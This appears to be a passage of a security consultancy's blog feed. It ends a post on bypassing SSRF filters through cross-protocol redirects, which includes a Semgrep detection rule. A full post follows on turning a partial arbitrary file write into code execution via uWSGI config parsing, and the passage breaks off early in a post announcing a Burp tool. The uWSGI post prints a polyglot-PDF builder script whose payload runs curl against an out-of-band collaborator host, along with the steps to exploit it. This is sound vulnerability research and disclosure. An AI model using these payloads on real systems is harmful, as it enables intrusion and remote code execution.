    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Success&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;${error.toString().split(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;)[0]}&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Contrary to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;request&lt;/code&gt; library though, it simply fails in the case of a cross-protocol redirect:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;node fetch.js &lt;span class=&quot;s2&quot;&gt;&quot;https://tellico.fun/redirect.php?target=http://localhost/test&quot;&lt;/span&gt;
Testing https://tellico.fun/redirect.php?target&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;http://localhost/test
TypeError &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ERR_INVALID_PROTOCOL]: Protocol &lt;span class=&quot;s2&quot;&gt;&quot;http:&quot;&lt;/span&gt; not supported. Expected &lt;span class=&quot;s2&quot;&gt;&quot;https:&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is therefore impossible to perform a similar attack on this library.&lt;/p&gt;

&lt;h2 id=&quot;axios&quot;&gt;Axios&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;axios&lt;/code&gt; library’s options allow to overwrite agents for both protocols separately. Therefore the following code is protected:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;axios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;httpAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ssrfFilter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http://domain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;httpsAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ssrfFilter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://domain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; In Axios library, it is neccesary to hardcode the urls during the agent overwrite. Otherwise, one of the agents would be overwritten with an agent for a wrong protocol and the cross-protocol redirect would fail similarly to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node-fetch&lt;/code&gt; library.&lt;/p&gt;

&lt;p&gt;Still, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;axios&lt;/code&gt; calls can be vulnerable. If one forgets to overwrite both agents, the cross-protocol redirect can bypass the filter:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;axios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// httpAgent: ssrfFilter(url),&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;httpsAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ssrfFilter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Such misconfigurations can be easily missed, so we have created a &lt;a href=&quot;https://semgrep.dev/&quot;&gt;Semgrep&lt;/a&gt; rule that catches similar patterns in JavaScript code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rules:
  - id: axios-only-one-agent-set
    message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
    mode: taint
    pattern-sources:
      - patterns:
        - pattern-either:
            - pattern: |
                {..., httpsAgent:..., ...}
            - pattern: |
                {..., httpAgent:..., ...}
        - pattern-not: |
                {...,httpAgent:...,httpsAgent:...}
    pattern-sinks:
      - pattern: $AXIOS.request(...)
      - pattern: $AXIOS.get(...)
      - pattern: $AXIOS.delete(...)
      - pattern: $AXIOS.head(...)
      - pattern: $AXIOS.options(...)
      - pattern: $AXIOS.post(...)
      - pattern: $AXIOS.put(...)
      - pattern: $AXIOS.patch(...)
    languages:
      - javascript
      - typescript
    severity: WARNING
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;

&lt;p&gt;As discussed above, we have discovered an exploitable SSRF vulnerability in the popular &lt;a href=&quot;https://www.npmjs.com/package/request&quot;&gt;request&lt;/a&gt; library. Despite the fact that this package has been deprecated, this dependency is still used by over 50k projects with over 18M downloads per week.&lt;/p&gt;

&lt;p&gt;We demonstrated how an attacker can bypass any anti-SSRF mechanisms injected into this library by simply redirecting the request to another protocol (e.g. HTTP to HTTPS). While many libraries we reviewed did provide protection from such attacks, others such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;axios&lt;/code&gt; could be potentially  vulnerable when similar misconfigurations exist. In an effort to make these issues easier to find and avoid, we have also released our internal Semgrep rule.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>A New Vector For “Dirty” Arbitrary File Write to RCE</title>
   <link href="https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html"/>
   <updated>2023-02-28T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/uwsgi-pdf.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Arbitrary file write (AFW) vulnerabilities in web application uploads can be a powerful tool for an attacker, potentially allowing them to escalate their privileges and even achieve remote code execution (RCE) on the server. However, the specific tactics that can be used to achieve this escalation often depend on the specific scenario faced by the attacker. In the wild, there can be several scenarios that an attacker may encounter when attempting to escalate from AFW to RCE in web applications. These can generically be categorized as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Control of the full file path or of the file name only:&lt;/strong&gt; In this scenario, the attacker has the ability to control the full file path or the name of the uploaded file, but not its contents. Depending on the permissions applied to the target directory and on the target application, the impact may vary from Denial of Service to interfering with the application logic to bypass potential security-sensitive features.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Control of the file contents only:&lt;/strong&gt; an attacker has control over the contents of the uploaded file but not over the file path. The impact can vary greatly in this case, due to numerous factors.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Full Arbitrary File Write:&lt;/strong&gt; an attacker has control over both of the above. This often results in RCE using various methods.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A plethora of tactics have been used in the past to achieve RCE through AFW in moderately hardened environments (in applications running as unprivileged users):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Overwriting or adding files that will be processed by the application server:
    &lt;ul&gt;
      &lt;li&gt;Configuration files (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.htaccess&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.config&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web.config&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httpd.conf&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__init__.py&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.xml&lt;/code&gt;)&lt;/li&gt;
      &lt;li&gt;Source files being served from the root of the application (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.php&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.asp&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.jsp&lt;/code&gt; files)&lt;/li&gt;
      &lt;li&gt;Temp files&lt;/li&gt;
      &lt;li&gt;Secrets or environmental files (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;venv&lt;/code&gt;)&lt;/li&gt;
      &lt;li&gt;Serialized session files&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Manipulating procfs to execute arbitrary code&lt;/li&gt;
  &lt;li&gt;Overwriting or adding files used or invoked by the OS, or by other daemons in the system:
    &lt;ul&gt;
      &lt;li&gt;Crontab routines&lt;/li&gt;
      &lt;li&gt;Bash scripts&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bashrc&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bash-profile&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.profile&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorized_keys&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorized_keys2&lt;/code&gt; - to gain SSH access&lt;/li&gt;
      &lt;li&gt;Abusing supervisors’ eager reloading of assets&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;It’s important to note that only a very small set of these tactics can be used in cases of partial control over the file contents in web applications (e.g., PHP, ASP or temp files)&lt;/strong&gt;. The specific methods used will depend on the specific application and server configuration, so it is important to understand the unique vulnerabilities and attack vectors that are present in the victims’ systems.&lt;/p&gt;

&lt;p&gt;The following write-up illustrates a real-world chain of distinct vulnerabilities to obtain arbitrary command execution during one of our engagements, which resulted in the discovery of a new method. &lt;strong&gt;This is particularly useful in case an attacker has only partial control over the injected file contents (“dirty write”) or when server-side transformations are performed on its contents.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;an-example-of-a-dirty-arbitrary-file-write&quot;&gt;An example of a “dirty” arbitrary file write&lt;/h3&gt;

&lt;p&gt;In our scenario, the application had a vulnerable endpoint, through which, an attacker was able to perform a Path Traversal and write/delete files via a PDF export feature. Its associated function was responsible for:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Reading an existing PDF template file and its stream&lt;/li&gt;
  &lt;li&gt;Combining the PDF template and the new attacker-provided contents&lt;/li&gt;
  &lt;li&gt;Saving the results in a PDF file named by the attacker&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The attack was limited since it could only impact the files with the correct permissions for the application user, with all of the application files being read-only. While an attacker could already use the vulnerability to first delete the logs or on-file databases, no higher impact was possible at first glance. By looking at the directory, the following file was also available:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    drwxrwxr-x  6 root   root     4096 Nov 18 13:48 .
    -rw-rw-r-- 1 webuser webuser 373 Nov 18 13:46 /app/console/uwsgi-sockets.ini
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;uwsgi-lax-parsing-of-configuration-files&quot;&gt;uWSGI Lax Parsing of Configuration Files&lt;/h3&gt;

&lt;p&gt;The victim’s application was deployed through a uWSGI application server (v2.0.15) fronting the Flask-based application, acting as a process manager and monitor. uWSGI can be configured using several different methods, supporting loading configuration files via simple disk files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ini&lt;/code&gt;). The uWSGI native function responsible for parsing these files is defined in &lt;a href=&quot;https://github.com/unbit/uwsgi/blob/2329e6ec5f2336ba59e39d971de0e7b93f1c59ff/core/ini.c#L128&quot;&gt;core/ini.c:128&lt;/a&gt; . The configuration file is initially read in full into memory and scanned to locate the string indicating the start of a valid uWSGI configuration (“&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[uwsgi]&lt;/code&gt;”):&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;	while (len) {
		ini_line = ini_get_line(ini, len);
		if (ini_line == NULL) {
			break;
		}
		lines++;

		// skip empty line
		key = ini_lstrip(ini);
		ini_rstrip(key);
		if (key[0] != 0) {
			if (key[0] == '[') {
				section = key + 1;
				section[strlen(section) - 1] = 0;
			}
			else if (key[0] == ';' || key[0] == '#') {
				// this is a comment
			}
			else {
				// val is always valid, but (obviously) can be ignored
				val = ini_get_key(key);

				if (!strcmp(section, section_asked)) {
					got_section = 1;
					ini_rstrip(key);
					val = ini_lstrip(val);
					ini_rstrip(val);
					add_exported_option((char *) key, val, 0);
				}
			}
		}

		len -= (ini_line - ini);
		ini += (ini_line - ini);

	}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;More importantly, uWSGI configuration files can also include “magic” variables, placeholders and operators defined with a precise syntax. The ‘&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@&lt;/code&gt;’ operator in particular is used in the form of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@(filename)&lt;/code&gt; to include the contents of a file. Many uWSGI schemes are supported, including “&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec&lt;/code&gt;” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ini&lt;/code&gt; configuration file is parsed:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    [uwsgi]
    ; read from a symbol
    foo = @(sym://uwsgi_funny_function)
    ; read from binary appended data
    bar = @(data://0)
    ; read from http
    test = @(http://doyensec.com/hello)
    ; read from a file descriptor
    content = @(fd://3)
    ; read from a process stdout
    body = @(exec://whoami)
    ; call a function returning a char *
    characters = @(call://uwsgi_func)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;uwsgi-auto-reload-configuration&quot;&gt;uWSGI Auto Reload Configuration&lt;/h3&gt;

&lt;p&gt;While abusing the above &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ini&lt;/code&gt; files is a good vector, an attacker would still need a way to reload it (such as triggering a restart of the service via a second DoS bug or waiting the server to restart). In order to help with this, a standard uWSGI deployment configuration flag could ease the exploitation of the bug. In certain cases, the uWSGI configuration can specify a py-auto-reload development option, for which the Python modules are monitored within a user-determined time span (3 seconds in this case), specified as an argument. If a change is detected, it will trigger a reload, e.g.:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    [uwsgi]
    home = /app
    uid = webapp
    gid = webapp
    chdir = /app/console
    socket = 127.0.0.1:8001
    wsgi-file = /app/console/uwsgi-sockets.py
    gevent = 500
    logto = /var/log/uwsgi/%n.log
    harakiri = 30
    vacuum = True
    py-auto-reload = 3
    callable = app
    pidfile = /var/run/uwsgi-sockets-console.pid
    log-maxsize = 100000000
    log-backupname = /var/log/uwsgi/uwsgi-sockets.log.bak
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this scenario, directly writing malicious Python code inside the PDF won’t work, since the Python interpreter will fail when encountering the PDF’s binary data. On the other hand, overwriting a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.py&lt;/code&gt; file with any data will trigger the uWSGI configuration file to be reloaded.&lt;/p&gt;

&lt;h3 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;/h3&gt;

&lt;p&gt;In our PDF-exporting scenario, we had to craft a polymorphic, syntactically valid PDF file containing our valid multi-lined &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ini&lt;/code&gt; configuration file. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ini&lt;/code&gt; payload had to be kept during the merging with the PDF template. We were able to embed the multiline &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ini&lt;/code&gt; payload inside the EXIF metadata of an image included in the PDF. To build this polyglot file we used the following script:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;    from fpdf import FPDF
    from exiftool import ExifToolHelper

    with ExifToolHelper() as et:
        et.set_tags(
            [&quot;doyensec.jpg&quot;],
            tags={&quot;model&quot;: &quot;&amp;amp;#x0a;[uwsgi]&amp;amp;#x0a;foo = @(exec://curl http://collaborator-unique-host.oastify.com)&amp;amp;#x0a;&quot;},
            params=[&quot;-E&quot;, &quot;-overwrite_original&quot;]
        )

    class MyFPDF(FPDF):
        pass

    pdf = MyFPDF()

    pdf.add_page()
    pdf.image('./doyensec.jpg')
    pdf.output('payload.pdf', 'F')
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This metadata will be part of the file written on the server. In our exploitation, the eager loading of uWSGI picked up the new configuration and executed our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; payload. The payload can be tested locally with the following command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    uwsgi --ini payload.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s exploit it on the web server with the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Upload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload.pdf&lt;/code&gt;  into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/app/console/uwsgi-sockets.ini&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Wait for server to restart or force the uWSGI reload by overwriting any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.py&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Verify the callback made by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; on Burp collaborator&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h3&gt;

&lt;p&gt;As highlighted in this article, we introduced a new uWSGI-based technique. It comes in addition to the tactics already used in various scenarios by attackers to escalate from arbitrary file write (AFW) vulnerabilities in web application uploads to remote code execution (RCE). These techniques are constantly evolving with the server technologies, and new methods will surely be popularized in the future. This is why it is important to share the known escalation vectors with the research community. We encourage researchers to continue sharing information on known vectors, and to continue searching for new, less popular vectors.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Introducing Proxy Enriched Sequence Diagrams (PESD)</title>
   <link href="https://blog.doyensec.com/2023/02/14/pesd-extension-public-release.html"/>
   <updated>2023-02-14T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2023/02/14/pesd-extension-public-release</id>
   <content type="html">&lt;h3 id=&quot;pesd-exporter-is-now-public&quot;&gt;PESD Exporter is now public!&lt;/h3&gt;

&lt;p&gt;We are releasing an internal tool to speed-up testing and reporting efforts in complex functional flows. We’re excited to announce that PESD Exporter is now &lt;a href=&quot;https://github.com/doyensec/PESD-Exporter-Extension&quot; target=&quot;_blank&quot;&gt;available on Github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/pesd.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 300px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Modern web platforms design involves integrations with other applications and cloud services to add functionalities, share data and enrich the user experience. The resulting functional flows are characterized by multiple state-changing steps with complex trust boundaries and responsibility separation among the involved actors.&lt;/p&gt;

&lt;p&gt;In such situations, web security specialists have to manually model sequence diagrams if they want to support their analysis with visualizations of the whole functionality logic.&lt;/p&gt;

&lt;p&gt;We all know that constructing sequence diagrams by hand is &lt;em&gt;tedious&lt;/em&gt;, &lt;em&gt;error-prone&lt;/em&gt;, &lt;em&gt;time-consuming&lt;/em&gt; and sometimes even &lt;em&gt;impractical&lt;/em&gt; (dealing with more than ten messages in a single flow).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proxy Enriched Sequence Diagrams&lt;/strong&gt; (&lt;strong&gt;PESD&lt;/strong&gt;) is our internal Burp Suite extension to visualize web traffic in a way that facilitates the analysis and reporting in scenarios with complex functional flows.&lt;/p&gt;

&lt;h2 id=&quot;meet-the-format&quot;&gt;Meet The Format&lt;/h2&gt;

&lt;p&gt;A &lt;em&gt;Proxy Enriched Sequence Diagram&lt;/em&gt; (&lt;em&gt;PESD&lt;/em&gt;) is a specific message syntax for sequence diagram models adapted to bring enriched information about the represented HTTP traffic. The &lt;a href=&quot;https://github.com/mermaid-js/mermaid&quot; target=&quot;_blank&quot;&gt;MermaidJS&lt;/a&gt; sequence diagram syntax is used to render the final diagram.&lt;/p&gt;

&lt;p&gt;While classic sequence diagrams for software engineering are meant for an abstract visualization and all the information is carried by the diagram itself. PESD is designed to include granular information related to the underlying HTTP traffic being represented in the form of metadata.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enriched&lt;/code&gt; part in the format name originates from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diagram-metadata linkability&lt;/code&gt;. In fact, the HTTP events in the diagram are marked with flags that can be used to access the specific information from the metadata.&lt;/p&gt;

&lt;p&gt;As an example, URL query parameters will be found in the arrow events as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UrlParams&lt;/code&gt; expandable with a click.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/welcometopesd.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Some key characteristics of the format :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;visual-analysis&lt;/em&gt;, especially useful for complex application flows in multi-actor scenarios where the listed proxy-view is not suited to visualize the abstract logic&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;tester-specific syntax&lt;/em&gt; to facilitate the analysis and overall readability&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;parsed metadata&lt;/em&gt; from the web traffic to enable further automation of the analysis&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;usable for reporting&lt;/em&gt; purposes like documentation of current implementations or Proof Of Concept diagrams&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;pesd-exporter---burp-suite-extension&quot;&gt;PESD Exporter - Burp Suite Extension&lt;/h2&gt;

&lt;p&gt;The extension handles Burp Suite traffic conversion to the PESD format and offers the possibility of executing templates that will enrich the resulting exports.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/pesdextensionui.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Once loaded, sending items to the extension will directly result in a export with all the active settings.&lt;/p&gt;

&lt;p&gt;Currently, two modes of operation are supported:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Domains as Actors&lt;/strong&gt; - Each domain involved in the traffic is represented as an actor in the diagram. Suitable for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;multi-domain&lt;/code&gt; flows analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/domainsasactors.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 350px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Endpoints as Actors&lt;/strong&gt; - Each endpoint (path) involved in the traffic is represented as an actor in the diagram. Suitable for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;single-domain&lt;/code&gt; flows analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/endpointsasactors.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;export-capabilities&quot;&gt;Export Capabilities&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Expandable Metadata&lt;/strong&gt;. Underlined flags can be clicked to show the underlying metadata from the traffic in a scrollable popover&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Masked Randoms in URL Paths&lt;/strong&gt;. UUIDs and pseudorandom strings recognized inside path segments are mapped to variable names &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;UUID_N&amp;gt;&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;VAR_N&amp;gt;&lt;/code&gt;. The re-renderization will reshape the diagram to improve flow readability. Every occurrence with the same value maintains the same name&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
